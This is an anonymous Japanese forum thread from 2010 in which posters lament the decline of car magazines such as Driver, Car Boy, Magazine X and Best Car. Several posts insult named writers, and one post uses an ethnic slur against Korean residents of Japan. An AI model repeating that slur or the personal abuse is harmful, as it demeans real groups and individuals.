それ以来、SVCHOSTがCPU使用率100%になってるんだけど、
ただの偶然？
そのsvchostを強制終了しようとすると、windowsが60秒以内に堕ちる。
セキュリティはMSのSEURITY ESSENTIALSだけ。
初歩的ミスも多いし、ろくに校正もやってないんだろｗ
288 ：名無しさん＠そうだドライブへ行こう：2010/07/07(水) 10:57:09 ID:2ZYEKyS40
q
289 ：名無しさん＠そうだドライブへ行こう：2010/07/08(木) 23:53:52 ID:ehYuIFaJO
おぷしょん２
290 ：名無しさん＠そうだドライブへ行こう：2010/07/09(金) 11:15:45 ID:Le89DN2Y0
>260
Sのイヤミとわがままぶりは有名と聞いていたが本人のツイッターみて納得。すげぇナル男だ。
Sのイヤミとわがままぶりは有名と聞いていたが本人のツイッターみて納得。すげぇナル男だ。
291 ：名無しさん＠そうだドライブへ行こう：2010/07/10(土) 01:24:46 ID:7V49khx20
292 ：名無しさん＠そうだドライブへ行こう：2010/07/10(土) 01:37:07 ID:fmIMIAQO0
ドライバー誌も遂に月刊か。
鉄仮面スカイラインの試乗記事を、中坊の夏休みに大阪のなんばcityの旭屋書店で読んだのを契機に、20年以上講読してた。
谷田部テストとかオーナーの愛車紹介とか地味なんだけど、突っ込んだレビューや辛口で本音の記事が好きだったので。各メーカーや新車登場時のライバル比較記事も多かったし。
最近は真面目なのか媚びてるのか、書き手の想いが伝わらないその場凌ぎの企画や記事ばかり。
編集方針が迷走しているように感じることが多く、買うのも読むのもやめた。
Web媒体の無料&速報性に対抗する独自性が弱いまま、隔週発行に拘泥している焦りがあったような。
まぁ，唯一の隔週刊行で自称独走誌も25年位講読しているけど、劣化傾向が顕著なので、そろそろ見切ると思う。
昔は新車紹介記事を2週間サイクルで楽しみにしていたけど、今はWebがある。
スクープ記事や新車予想図も変にデフォルメされてばかりでウンザリ。自分は今でも車好きなので、業界のみなさんも大変だと思うけど頑張って欲しい。
懐古記事、とりあえずで政治ネタを絡めた企画、するとどうよ～とか、批判ばかりで曖昧な示唆で終わるFR主義の評論家によるワンパターンな偏向記事、値引きがどうのこうのでは無く、クルマの魅力や楽しさが伝わるような記事が読みたい。
このままだとクルマ社会の将来が心配～とかの記事を読むために購読したくない。そんなことはクルマ雑誌購読層の大半がわかってることだと思う。
以上、好き勝手に書きましたが、賛同いただける方はいらっしゃいますか？
鉄仮面スカイラインの試乗記事を、中坊の夏休みに大阪のなんばcityの旭屋書店で読んだのを契機に、20年以上講読してた。
谷田部テストとかオーナーの愛車紹介とか地味なんだけど、突っ込んだレビューや辛口で本音の記事が好きだったので。各メーカーや新車登場時のライバル比較記事も多かったし。
最近は真面目なのか媚びてるのか、書き手の想いが伝わらないその場凌ぎの企画や記事ばかり。
編集方針が迷走しているように感じることが多く、買うのも読むのもやめた。
Web媒体の無料&速報性に対抗する独自性が弱いまま、隔週発行に拘泥している焦りがあったような。
まぁ，唯一の隔週刊行で自称独走誌も25年位講読しているけど、劣化傾向が顕著なので、そろそろ見切ると思う。
昔は新車紹介記事を2週間サイクルで楽しみにしていたけど、今はWebがある。
スクープ記事や新車予想図も変にデフォルメされてばかりでウンザリ。自分は今でも車好きなので、業界のみなさんも大変だと思うけど頑張って欲しい。
懐古記事、とりあえずで政治ネタを絡めた企画、するとどうよ～とか、批判ばかりで曖昧な示唆で終わるFR主義の評論家によるワンパターンな偏向記事、値引きがどうのこうのでは無く、クルマの魅力や楽しさが伝わるような記事が読みたい。
このままだとクルマ社会の将来が心配～とかの記事を読むために購読したくない。そんなことはクルマ雑誌購読層の大半がわかってることだと思う。
以上、好き勝手に書きましたが、賛同いただける方はいらっしゃいますか？
293 ：名無しさん＠そうだ選挙に行こう：2010/07/10(土) 05:22:24 ID:EquLq6Zt0
>>292
ドライバー？
カードラじゃなくて？
カードラなら辛口だったなー。
日産からS-RVが出た時、
「あんなでかくて曲がったドアバイザーじゃ視界が遮られて運転しにくい」
ってユーザー視点からズバリ酷評してて、すげー好感持った覚えがある。
ドライバー？
カードラじゃなくて？
カードラなら辛口だったなー。
日産からS-RVが出た時、
「あんなでかくて曲がったドアバイザーじゃ視界が遮られて運転しにくい」
ってユーザー視点からズバリ酷評してて、すげー好感持った覚えがある。
294 ：名無しさん＠そうだ選挙に行こう：2010/07/10(土) 07:32:05 ID:x6o3KYYA0
>>292
同感。なんで、わざわざ金払って「若者の車離れ」
「環境問題で内燃機関の未来が危ない」みたいな暗い記事を
読まんといかんのか、と思う。
「水素エンジン」とか、実用化何年後だよって思う。
音楽雑誌に
「違法ダウンロードで音楽産業が窮地に」「電子出版と音楽業界の可能性」
みたいな記事ばかり載ってたら、誰が読む？そんなのは業界紙でやれ。
カーライフって、本来楽しいものなのに、頭でっかちの評論家が
先走って、暗いイメージを植えつけてる。
そういう意味では、カーグッズマガジンは消費者目線で
読んでて楽しいと思うけど。車って、乗って使って楽しむものだよなあ。
同感。なんで、わざわざ金払って「若者の車離れ」
「環境問題で内燃機関の未来が危ない」みたいな暗い記事を
読まんといかんのか、と思う。
「水素エンジン」とか、実用化何年後だよって思う。
音楽雑誌に
「違法ダウンロードで音楽産業が窮地に」「電子出版と音楽業界の可能性」
みたいな記事ばかり載ってたら、誰が読む？そんなのは業界紙でやれ。
カーライフって、本来楽しいものなのに、頭でっかちの評論家が
先走って、暗いイメージを植えつけてる。
そういう意味では、カーグッズマガジンは消費者目線で
読んでて楽しいと思うけど。車って、乗って使って楽しむものだよなあ。
295 ：名無しさん＠そうだ選挙に行こう：2010/07/10(土) 12:18:57 ID:EquLq6Zt0
そういやベストカーも、気がつくと誰かの悪口ばかり書いてる雑誌に成り果ててるな。
296 ：名無しさん＠そうだ選挙に行こう：2010/07/10(土) 12:57:56 ID:99SqZXaO0
>>293
上の方で既出だと思うが、ドライバー誌も先日月刊化されたよ。
上の方で既出だと思うが、ドライバー誌も先日月刊化されたよ。
297 ：名無しさん＠そうだ選挙に行こう：2010/07/10(土) 20:35:06 ID:EquLq6Zt0
>>296
ドライバー誌って20年前にあったっけ？
ドライバー誌って20年前にあったっけ？
298 ：名無しさん＠そうだ選挙に行こう：2010/07/10(土) 20:54:48 ID:x2a8Rh330
コンビニで売ってるような（BC、CT、HA、C&D等）自動車雑誌の中じゃ一番の古株
（1964創刊）だよ＞D誌
（1964創刊）だよ＞D誌
299 ：名無しさん＠そうだ選挙に行こう：2010/07/10(土) 22:26:17 ID:vmtCo2ovO
カーボーイは今Webだけですか？
300 ：名無しさん＠そうだ選挙に行こう：2010/07/11(日) 00:25:58 ID:GapriN/a0
創刊したあたりの号で、裕次郎の愛車ベンツを特集してたんだよなドライバー。
左開きで表紙がイラストだった時代がドライバーの黄金期だったと思う。
左開きで表紙がイラストだった時代がドライバーの黄金期だったと思う。
301 ：名無しさん＠そうだ選挙に行こう：2010/07/11(日) 11:11:26 ID:Pofe2wkH0
>>299
普通に売ってるが
普通に売ってるが
302 ：名無しさん＠そうだ選挙に行こう：2010/07/11(日) 12:50:05 ID:2nd5g7xV0
303 ：名無しさん＠そうだ選挙に行こう：2010/07/11(日) 18:14:37 ID:t/6AjjEk0
nextは 確実に猿人
304 ：名無しさん＠そうだドライブへ行こう：2010/07/11(日) 23:32:36 ID:Ng0oJkhTP
>>290ｰ291
Sってだれ？
Sってだれ？
305 ：名無しさん＠そうだドライブへ行こう：2010/07/12(月) 01:20:25 ID:pSc3ShiL0
306 ：名無しさん＠そうだドライブへ行こう：2010/07/12(月) 01:23:03 ID:1XPrRNxMP
清水が二人いるんだが
307 ：名無しさん＠そうだドライブへ行こう：2010/07/12(月) 07:59:09 ID:pSc3ShiL0
308 ：名無しさん＠そうだドライブへ行こう：2010/07/12(月) 08:15:09 ID:4Mj1WFSq0
そんなの島下大先生に決まってるだろう
309 ：名無しさん＠そうだドライブへ行こう：2010/07/12(月) 14:34:09 ID:1XPrRNxMP
310 ：名無しさん＠そうだドライブへ行こう：2010/07/12(月) 17:23:46 ID:pSc3ShiL0
311 ：名無しさん＠そうだドライブへ行こう：2010/07/12(月) 23:38:14 ID:iN0VYv8xO
おぶしょん２本屋にあった
312 ：名無しさん＠そうだドライブへ行こう：2010/07/14(水) 13:05:03 ID:j9Hpdop2O
カーボーイがない
313 ：名無しさん＠そうだドライブへ行こう：2010/07/14(水) 13:12:31 ID:jfGAmpXW0
カーボーイは10年くらい前はオプションとかと違ってプライベーター向きの内容だったはずなんだが
でも当時から一部のショップに肩入れしてたのは明白だ罠
ザ○○○とかさ
でも当時から一部のショップに肩入れしてたのは明白だ罠
ザ○○○とかさ
314 ：名無しさん＠そうだドライブへ行こう：2010/07/14(水) 13:48:41 ID:r+s9iyKHP
今、プライベーター向けの内容の走り屋雑誌ってどこ？
315 ：名無しさん＠そうだドライブへ行こう：2010/07/14(水) 14:12:25 ID:jfGAmpXW0
マガジンXも月刊化当初から数年間はなかなか面白かったが
死体の写真載せたり政治評論家の大谷の変な記事載せ始めた頃からおかしくなっていったな
なんで車雑誌で政治ネタなんて載せるんだかｗ
死体の写真載せたり政治評論家の大谷の変な記事載せ始めた頃からおかしくなっていったな
なんで車雑誌で政治ネタなんて載せるんだかｗ
316 ：名無しさん＠そうだドライブへ行こう：2010/07/14(水) 15:10:20 ID:T41JoP+00
カーボーイは編集長替わってからおかしくなった。 新製品ばかり紹介して
DIYとかの昔からのコーナーを潰しまくり。
DIYとかの昔からのコーナーを潰しまくり。
317 ：名無しさん＠そうだドライブへ行こう：2010/07/14(水) 16:24:19 ID:h/zGGswW0
318 ：名無しさん＠そうだドライブへ行こう：2010/07/14(水) 17:09:26 ID:9erIlTZR0
もう10年近くCARBOY誌は買っていないけど、CARBOYからDIYをとったら何が残るってんだ
その編集長は分ってなさすぎる・・・
その編集長は分ってなさすぎる・・・
319 ：名無しさん＠そうだドライブへ行こう：2010/07/14(水) 18:05:17 ID:VfhBtHCg0
もうだめかもしれんね
320 ：名無しさん＠そうだドライブへ行こう：2010/07/14(水) 18:54:11 ID:j9Hpdop2O
長い間ご苦労様でした。
321 ：名無しさん＠そうだドライブへ行こう：2010/07/14(水) 21:18:03 ID:LdKsn7sl0
322 ：名無しさん＠そうだドライブへ行こう：2010/07/15(木) 00:23:37 ID:1gKzrf+M0
3）編集長が自動車に興味関心が無い
4）ミンスに媚売って、権力すり寄り
4）ミンスに媚売って、権力すり寄り
323 ：名無しさん＠そうだドライブへ行こう：2010/07/15(木) 12:23:45 ID:U4UrHO5nO
ＶＩＰスタイルＫスタイルは分厚いね
人気あるんだね
人気あるんだね
324 ：名無しさん＠そうだドライブへ行こう：2010/07/15(木) 17:53:08 ID:nOSPWbjo0
マガジンXのスレは無いのですか？
325 ：名無しさん＠そうだドライブへ行こう：2010/07/15(木) 20:51:44 ID:Rx7DpK250
326 ：名無しさん＠そうだドライブへ行こう：2010/07/15(木) 21:23:25 ID:xDKWK/6f0
モコ/MRワゴンは他誌で捕捉してなかったから評価する。
327 ：名無しさん＠そうだドライブへ行こう：2010/07/15(木) 22:44:40 ID:hqlTJMYk0
まだカーボーイの信者いるんだ…
328 ：名無しさん＠そうだドライブへ行こう：2010/07/15(木) 23:31:24 ID:Rx7DpK250
329 ：名無しさん＠そうだドライブへ行こう：2010/07/15(木) 23:33:26 ID:nOSPWbjo0
オプションはコンビニで買えるからな。
330 ：名無しさん＠そうだドライブへ行こう：2010/07/16(金) 01:16:26 ID:Efq1LTVK0
331 ：名無しさん＠そうだドライブへ行こう：2010/07/16(金) 05:56:45 ID:4DzOi5v70
ベストカーもいつまでもダラダラミンス叩きやってる時点でXと変わらんよ。
「いつ無料にすんだコラ！」
とかやってないで、ちゃんと車の記事書いてくれと思う。
ウナギ屋の若？旦那なんか新車乗っても何とも思わなくなってきてレポート書くのに
苦労するとか堂々と書いちゃうし。、
「いつ無料にすんだコラ！」
とかやってないで、ちゃんと車の記事書いてくれと思う。
ウナギ屋の若？旦那なんか新車乗っても何とも思わなくなってきてレポート書くのに
苦労するとか堂々と書いちゃうし。、
332 ：名無しさん＠そうだドライブへ行こう：2010/07/16(金) 18:19:08 ID:930ie1MMO
ドリフト天国ペラペラ
333 ：名無しさん＠そうだドライブへ行こう：2010/07/17(土) 15:31:11 ID:+YImRA8m0
今まともな車雑誌は無いよ。 あるのは未来の無い業界の悪しき慣習を惰性で行ってる本ばかりだし。
334 ：名無しさん＠そうだドライブへ行こう：2010/07/17(土) 15:34:10 ID:6v4YEaLv0
立ち読みしててもウンザリする内容ばかり並ぶのが今の自動車雑誌
新車レポートなんか書ける程の人材も居ない
新車レポートなんか書ける程の人材も居ない
335 ：名無しさん＠そうだドライブへ行こう：2010/07/17(土) 15:52:55 ID:aSJKSh8S0
336 ：名無しさん＠そうだドライブへ行こう：2010/07/17(土) 16:18:50 ID:+3wrtVd10
Motor Fan illustratedは創刊から1年チョイくらいは面白かったんだがなぁ。
それ以降は焼き直しと落穂拾いのオンパレードになっちまった。
季刊くらいにペース落として記事の密度を上げてくれればまだマシなんだけど。
それ以降は焼き直しと落穂拾いのオンパレードになっちまった。
季刊くらいにペース落として記事の密度を上げてくれればまだマシなんだけど。
337 ：名無しさん＠そうだドライブへ行こう：2010/07/17(土) 23:46:58 ID:j3/Ndogd0
中国のパクリ車をデミオMCと大誤報した『マガジンX』のオカマが
中国モーターショーレポートｗ
中国モーターショーレポートｗ
338 ：名無しさん＠そうだドライブへ行こう：2010/07/18(日) 16:38:52 ID:U4UrHO5nO
おぷしょんは永遠に不滅です。
339 ：名無しさん＠そうだドライブへ行こう：2010/07/19(月) 17:50:50 ID:vbVC/05PO
Ｋスタイルってなんかいい
340 ：名無しさん＠そうだドライブへ行こう：2010/07/19(月) 20:52:52 ID:rWk6/gZwP
カスタムカー雑誌は元気いいね
バイクもビクスク雑誌いくつかあるし
ただ、ラグジュアリー系が国産ばっかのJラグしかないのは・・・
むかしはアメリカ取材もしてたL/S、LUXGと二冊合ったが両方消えた
LUXは一年くらいで消えた
バイクもビクスク雑誌いくつかあるし
ただ、ラグジュアリー系が国産ばっかのJラグしかないのは・・・
むかしはアメリカ取材もしてたL/S、LUXGと二冊合ったが両方消えた
LUXは一年くらいで消えた
341 ：名無しさん＠そうだドライブへ行こう：2010/07/19(月) 21:03:06 ID:wK6VnB3p0
そして最後にチャンプロードが残った・・・
342 ：名無しさん＠そうだドライブへ行こう：2010/07/19(月) 23:38:25 ID:bilKf/lB0
343 ：名無しさん＠そうだドライブへ行こう：2010/07/20(火) 01:07:47 ID:vAbw1LMK0
カーボーイのへタレ記事さえなけれな良かったのにな、新編集長も。
編集部員時代のまま出世すると隙だらけなんだな。
編集部員時代のまま出世すると隙だらけなんだな。
344 ：名無しさん＠そうだドライブへ行こう：2010/07/20(火) 12:16:39 ID:OPw3jsSN0
オプション2本屋で立ち読みしたけどワラタ
10年前の半分の厚さなのなｗ
中身もただでさえなかったのにもうｇｄｇｄ
10年前の半分の厚さなのなｗ
中身もただでさえなかったのにもうｇｄｇｄ
345 ：名無しさん＠そうだドライブへ行こう：2010/07/20(火) 21:29:57 ID:9McN6m/f0
ｺﾝﾋﾞﾆで見ないしねー
ｵﾌﾟ2もドリ天も
ｵﾌﾟ2もドリ天も
346 ：名無しさん＠そうだドライブへ行こう：2010/07/20(火) 22:59:05 ID:t623jEaw0
チャンプロードも見なくなったな
カミオンはたまに
カミオンはたまに
347 ：名無しさん＠そうだドライブへ行こう：2010/07/20(火) 23:02:48 ID:LNh7s8Za0
俺の行きつけのコンビニはベストカーだけになった。
348 ：名無しさん＠そうだドライブへ行こう：2010/07/21(水) 09:26:25 ID:BhJuD7Av0
カーグラなんてもう狂いまくってCG海の家だって
キズナ食堂の一発や芸人の海の家ごとく
小林じじいとバカ編集者が再起をかけて焼きそば焼きまくるんだってさ
さっさと廃刊しろ
キズナ食堂の一発や芸人の海の家ごとく
小林じじいとバカ編集者が再起をかけて焼きそば焼きまくるんだってさ
さっさと廃刊しろ
349 ：名無しさん＠そうだドライブへ行こう：2010/07/21(水) 14:16:54 ID:1a0qA3Xt0
350 ：名無しさん＠そうだドライブへ行こう：2010/07/22(木) 00:28:31 ID:VUzRl9hF0
積んであるのは売れる証拠でないか？
あまり売れないのは積んでもらえないし、全く売れないのは
そもそも仕入れてもらえない。
あまり売れないのは積んでもらえないし、全く売れないのは
そもそも仕入れてもらえない。
351 ：名無しさん＠そうだドライブへ行こう：2010/07/23(金) 03:27:42 ID:+K+SkmWS0
>>350
取次のPOSシステム管理下になった書店だと
次号は前号の販売数だけ配本だもんなぁ。
月刊になったdriver誌など、月刊2号目は
コンビニ・書店でも１～２冊だけだ。（即完売）
そのdriver誌、名物・清原嬢がついにリストラされた…
取次のPOSシステム管理下になった書店だと
次号は前号の販売数だけ配本だもんなぁ。
月刊になったdriver誌など、月刊2号目は
コンビニ・書店でも１～２冊だけだ。（即完売）
そのdriver誌、名物・清原嬢がついにリストラされた…
352 ：名無しさん＠そうだドライブへ行こう：2010/07/23(金) 16:37:21 ID:icMWFfsz0
>>351
結婚してからパワー落ちたからね。
結婚してからパワー落ちたからね。
353 ：名無しさん＠そうだドライブへ行こう：2010/07/24(土) 06:30:08 ID:tx0uiCDF0
都市部のコンビニはクルマ雑誌が置いてあるところが少ない
田舎のコンビにだとヤングオートとかＤＱＮ系雑誌が多すぎｗｗ
田舎のコンビにだとヤングオートとかＤＱＮ系雑誌が多すぎｗｗ
354 ：名無しさん＠そうだドライブへ行こう：2010/07/24(土) 10:52:31 ID:jDP9UKkY0
355 ：名無しさん＠そうだドライブへ行こう：2010/07/24(土) 22:32:41 ID:aAdvbWeGO
おぷしょん旧館の清拭発表会マだ？
356 ：名無しさん＠そうだドライブへ行こう：2010/07/24(土) 23:12:53 ID:ZoANFK7/0
いよいよエンジンが立ち行かなくなりそうだ…orz
357 ：名無しさん＠そうだドライブへ行こう：2010/07/25(日) 08:13:43 ID:FDOxj+sY0
ゴクリ…
358 ：名無しさん＠そうだドライブへ行こう：2010/07/25(日) 15:34:47 ID:4mC9xfre0
趣味にする「車」が新車で無いからね、業界はもう没落するしかない。
359 ：名無しさん＠そうだドライブへ行こう：2010/07/26(月) 04:05:43 ID:CF4K/+Qk0
360 ：名無しさん＠そうだドライブへ行こう：2010/07/26(月) 23:38:17 ID:7gHgJ4F30
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361 ：名無しさん＠そうだドライブへ行こう：2010/07/27(火) 01:49:22 ID:qnyQzEFu0
362 ：名無しさん＠そうだドライブへ行こう：2010/07/27(火) 23:33:53 ID:9oOC2qbl0
>>361
とても有用なんだけど…悲しいモノがあるよね。
とても有用なんだけど…悲しいモノがあるよね。
363 ：名無しさん＠そうだドライブへ行こう：2010/07/28(水) 17:05:55 ID:4/yovet20
>360
> 572 XaCAR
あの適当な持ち上げばかりしてる雑誌が、月刊 自家用車より上なのかよｗ
> 572 XaCAR
あの適当な持ち上げばかりしてる雑誌が、月刊 自家用車より上なのかよｗ
364 ：名無しさん＠そうだドライブへ行こう：2010/07/28(水) 18:02:32 ID:jxy2YuB10
>>363
中高生辺りなら読んでても疑問持たないんじゃね？
中高生辺りなら読んでても疑問持たないんじゃね？
365 ：名無しさん＠そうだドライブへ行こう：2010/07/28(水) 19:41:30 ID:4/yovet20
>364
掛け算も間違えるベテランライターが記事書いてる雑誌だから、中高生でも疑問は持つと思う。
掛け算も間違えるベテランライターが記事書いてる雑誌だから、中高生でも疑問は持つと思う。
366 ：名無しさん＠そうだドライブへ行こう：2010/07/28(水) 20:10:34 ID:hTnlu8tc0
>>365
河口学先生ｗｗｗ
河口学みたいなカスが今じゃ先生扱いとかなぁ
こいつサーキットでも全くタイム出せないくせにシビックＲのサスペンション語ったりさ
メーカーの技術者も心の中では軽蔑してるんだろうな
河口学先生ｗｗｗ
河口学みたいなカスが今じゃ先生扱いとかなぁ
こいつサーキットでも全くタイム出せないくせにシビックＲのサスペンション語ったりさ
メーカーの技術者も心の中では軽蔑してるんだろうな
367 ：名無しさん＠そうだドライブへ行こう：2010/07/28(水) 21:52:28 ID:PUVHxXX70
そのXaCAR、自家用車よりも売れてない
ヤラセ、でっち上げ記事のMAGAZINE X
ヤラセ、でっち上げ記事のMAGAZINE X
368 ：名無しさん＠そうだドライブへ行こう：2010/07/29(木) 21:25:27 ID:FXMqfrWD0
そのわりにコンビニには置いてあるな
立ち読み専用か
立ち読み専用か
369 ：名無しさん＠そうだドライブへ行こう：2010/07/30(金) 00:56:07 ID:m95xNGVE0
>367
> ヤラセ、でっち上げ記事のMAGAZINE X
総括がどんどん酷くなるｗ
一人で座談会形式にまとめてるからしょうがないけど……。
> ヤラセ、でっち上げ記事のMAGAZINE X
総括がどんどん酷くなるｗ
一人で座談会形式にまとめてるからしょうがないけど……。
370 ：名無しさん＠そうだドライブへ行こう：2010/07/30(金) 01:00:29 ID:Pdv4WRsN0
マガジンＸはもうダメだね
中身も訳の分からない政治ネタにピンクチラシにスクープ記事がオマケで付いてるだけ
中身も訳の分からない政治ネタにピンクチラシにスクープ記事がオマケで付いてるだけ
371 ：名無しさん＠そうだドライブへ行こう：2010/07/30(金) 01:02:32 ID:yKA/bksQ0
いっそ「まんが××」とかヲタ系の評論サイトなんかにあるような、専門家と萌えキャラ助手
との対談形式にしちゃえよｗ
との対談形式にしちゃえよｗ
372 ：名無しさん＠そうだドライブへ行こう：2010/07/30(金) 13:01:50 ID:uNjBd/lh0
最近エコ特集など取り上げられているが、エクストレイルのクリーンディーゼルＡＴなんて
どこも取り上げいない。
グリーンカービューなんて外車絶賛のネタばかりで（ハイオクゴルフ＆メルセデス尿ディーゼル マンセー）
こういう偽善記者に反吐が出る
どこも取り上げいない。
グリーンカービューなんて外車絶賛のネタばかりで（ハイオクゴルフ＆メルセデス尿ディーゼル マンセー）
こういう偽善記者に反吐が出る
373 ：名無しさん＠そうだドライブへ行こう：2010/07/30(金) 13:30:59 ID:386tLOt50
昔4ドアハードトップ叩きまくってた奴らが今のメルセデスのハードトップ路線マンセーしてるからなｗ
車雑誌の記者とか低学歴のクズしかいないよ
車雑誌の記者とか低学歴のクズしかいないよ
374 ：名無しさん＠そうだドライブへ行こう：2010/07/30(金) 16:44:52 ID:s59fsNKu0
カートップの誤植とも繋がるなあ。
375 ：名無しさん＠そうだドライブへ行こう：2010/07/30(金) 22:36:28 ID:b4OFmDZa0
コンビニに置いてもらえるってことは、売れてるってことだよ
376 ：名無しさん＠そうだドライブへ行こう：2010/07/31(土) 08:22:40 ID:Jxg6QKN10
377 ：名無しさん＠そうだドライブへ行こう：2010/08/01(日) 13:24:15 ID:DfBKQqYH0
>>372
例えば、こういうのもだな。
http://minkara.carview.co.jp/userid/342878/blog/19039965/
「(BMWがハイブリッドという名前を付けたから、自分には)今注目の技術」
だよなぁ。オルタネーター回生をハイブリッドと呼んでいいのなら、日産のコンパクトカーはのきなみハイブリッド。
例えば、こういうのもだな。
http://minkara.carview.co.jp/userid/342878/blog/19039965/
「(BMWがハイブリッドという名前を付けたから、自分には)今注目の技術」
だよなぁ。オルタネーター回生をハイブリッドと呼んでいいのなら、日産のコンパクトカーはのきなみハイブリッド。
378 ：名無しさん＠そうだドライブへ行こう：2010/08/01(日) 14:45:02 ID:wsY2YJhg0
379 ：名無しさん＠そうだドライブへ行こう：2010/08/02(月) 18:30:52 ID:WmGmGOPH0
エンジンに塩見の記事があった！良かった！
380 ：名無しさん＠そうだドライブへ行こう：2010/08/02(月) 18:34:52 ID:ojPhpIop0
>>379
ありがとう。他にも仕事あるのかな？
ありがとう。他にも仕事あるのかな？
381 ：名無しさん＠そうだドライブへ行こう：2010/08/02(月) 23:08:01 ID:f9X3jX1i0
マガジンＸに自動車にまったく関係がない連載している
山形浩生は●作ライターｗ
【ふま】山形浩生について語るスレ【No.9】
http://love6.2ch.net/test/read.cgi/books/1203825163/
山形浩生は●作ライターｗ
【ふま】山形浩生について語るスレ【No.9】
http://love6.2ch.net/test/read.cgi/books/1203825163/
382 ：名無しさん＠そうだドライブへ行こう：2010/08/08(日) 08:29:40 ID:35P2G2st0
ベストカーは安い。
320円 × 24冊 ＋ 増刊 420円 × 3冊 ＝ 8940円
だからテリー伊藤のドライバーズハイのような別冊をたまに買っても 年間1万円
暇つぶしとしては安い。他の趣味ゴルフとかなら1回分。
320円 × 24冊 ＋ 増刊 420円 × 3冊 ＝ 8940円
だからテリー伊藤のドライバーズハイのような別冊をたまに買っても 年間1万円
暇つぶしとしては安い。他の趣味ゴルフとかなら1回分。
383 ：名無しさん＠そうだドライブへ行こう：2010/08/09(月) 12:48:59 ID:LyVLLRvH0
紙媒体ではないけれどCARISMっていつなくなったの？
ガリバーのサイトにつながるようになっちゃった
松下さんは今どこに？
auto-webも休止になってるし
Web雑誌もだめなんだね
ガリバーのサイトにつながるようになっちゃった
松下さんは今どこに？
auto-webも休止になってるし
Web雑誌もだめなんだね
384 ：名無しさん＠そうだドライブへ行こう：2010/08/09(月) 13:03:25 ID:qvHjWprE0
ベストカーは錆取り雑誌みたいになってきた。
古い車の特集多すぎ。
古い車の特集多すぎ。
385 ：名無しさん＠そうだドライブへ行こう：2010/08/09(月) 21:45:54 ID:PZE4Q40q0
>>384
しかも結構間違ってる。
しかも結構間違ってる。
386 ：名無しさん＠そうだドライブへ行こう：2010/08/09(月) 21:47:21 ID:fcdb3jkO0
さび取りと金持ちの太鼓持ち。
387 ：名無しさん＠そうだドライブへ行こう：2010/08/09(月) 21:53:40 ID:qvHjWprE0
>>385
スバルやダイハツの軽が４サイクルになってるのはひどすぎ
スバルやダイハツの軽が４サイクルになってるのはひどすぎ
388 ：名無しさん＠そうだドライブへ行こう：2010/08/09(月) 21:57:25 ID:fcdb3jkO0
それはあってないか？
389 ：名無しさん＠そうだドライブへ行こう：2010/08/09(月) 23:04:51 ID:qgB2YThw0
MAG-Xなら
中国コピー車が新型デミオとでっち上げｗ
中国コピー車が新型デミオとでっち上げｗ
390 ：名無しさん＠そうだドライブへ行こう：2010/08/10(火) 03:24:32 ID:C8zGlvxY0
あそこまで丸々コピーされたら間違うぜ
391 ：名無しさん＠そうだドライブへ行こう：2010/08/10(火) 03:55:26 ID:UeSK/+yH0
↑と、MAG-X編集部員が必死で弁明していますｗ
392 ：名無しさん＠そうだドライブへ行こう：2010/08/10(火) 13:45:52 ID:49NzorVy0
鈴木正文編集長コワイっすｗｗ
僕はいわゆる全共闘最後の世代でかなり本気で運動にかかわっていた。
大学を途中で中退し、まさに革命に身を投じたんだね。
ttp://img.wazamono.jp/car/src/1281415457267.jpg
僕はいわゆる全共闘最後の世代でかなり本気で運動にかかわっていた。
大学を途中で中退し、まさに革命に身を投じたんだね。
ttp://img.wazamono.jp/car/src/1281415457267.jpg
393 ：名無しさん＠そうだドライブへ行こう：2010/08/10(火) 22:48:10 ID:6hGAtJln0
394 ：名無しさん＠そうだドライブへ行こう：2010/08/10(火) 23:11:37 ID:LDVlCrf70
395 ：名無しさん＠そうだドライブへ行こう：2010/08/11(水) 00:09:20 ID:4GHi+FZqP
396 ：名無しさん＠そうだドライブへ行こう：2010/08/11(水) 03:22:28 ID:oWWtx3zS0
その残党の民主党のせいで日本は在日チョンの国になってしまった
397 ：名無しさん＠そうだドライブへ行こう：2010/08/11(水) 13:01:49 ID:nVSHYT9H0
398 ：名無しさん＠そうだドライブへ行こう：2010/08/11(水) 13:57:14 ID:3EzLThbT0
399 ：名無しさん＠そうだドライブへ行こう：2010/08/13(金) 21:32:14 ID:Za70nJR00
512 ：匿名希望さん：2010/08/03(火) 22:37:47
今月も大量返本で
売上げに貢献できず
514 ：匿名希望さん：2010/08/08(日) 14:53:58
なんでプリウス燃やしたりしてんの？ 馬鹿なの？
516 ：匿名希望さん：2010/08/09(月) 22:30:04
新しいアイデアが思いつかないから
過去の企画を焼きなおしているだけｗ
こっちからセシメタ金だから
ムダ遣いしても関係無いってか
どうしてマガジンXを切らないんだろう？
517 ：匿名希望さん：2010/08/11(水) 21:00:59
何か言えない理由でもあるんじゃね？
今月も大量返本で
売上げに貢献できず
514 ：匿名希望さん：2010/08/08(日) 14:53:58
なんでプリウス燃やしたりしてんの？ 馬鹿なの？
516 ：匿名希望さん：2010/08/09(月) 22:30:04
新しいアイデアが思いつかないから
過去の企画を焼きなおしているだけｗ
こっちからセシメタ金だから
ムダ遣いしても関係無いってか
どうしてマガジンXを切らないんだろう？
517 ：匿名希望さん：2010/08/11(水) 21:00:59
何か言えない理由でもあるんじゃね？
400 ：名無しさん＠そうだドライブへ行こう：2010/08/13(金) 22:36:30 ID:fCEp8Mod0
>>399
どこのスレですか？
どこのスレですか？
401 ：名無しさん＠そうだドライブへ行こう：2010/08/13(金) 23:03:16 ID:fCEp8Mod0
>>400
三栄書房
三栄書房
402 ：名無しさん＠そうだドライブへ行こう：2010/08/13(金) 23:42:42 ID:UPZQtgw40
>399
初代プリウスを燃やしてたけど、やたらとバッテリーケースの樹脂がどうとか書いてたな。
燃やすならマイナーチェンジ後のでも良かったはずだが、ひょっとして狙いどうりの結果にならない事を知っていたのかな？
初代プリウスを燃やしてたけど、やたらとバッテリーケースの樹脂がどうとか書いてたな。
燃やすならマイナーチェンジ後のでも良かったはずだが、ひょっとして狙いどうりの結果にならない事を知っていたのかな？
403 ：名無しさん＠そうだドライブへ行こう：2010/08/15(日) 15:39:44 ID:OLDbesSb0
404 ：名無しさん＠そうだドライブへ行こう：2010/08/16(月) 22:58:14 ID:8c6tS4Y60
広告も取れないのに
ダイハツ、スズキ、三菱の提灯記事載せている雑誌って・・・？
編集長が弱み握られているとか
何か裏があるはずw
ダイハツ、スズキ、三菱の提灯記事載せている雑誌って・・・？
編集長が弱み握られているとか
何か裏があるはずw
405 ：名無しさん＠そうだドライブへ行こう：2010/08/16(月) 23:26:01 ID:Uc96MckS0
>>404
スズキはびた一文払わないけどな。
スズキはびた一文払わないけどな。
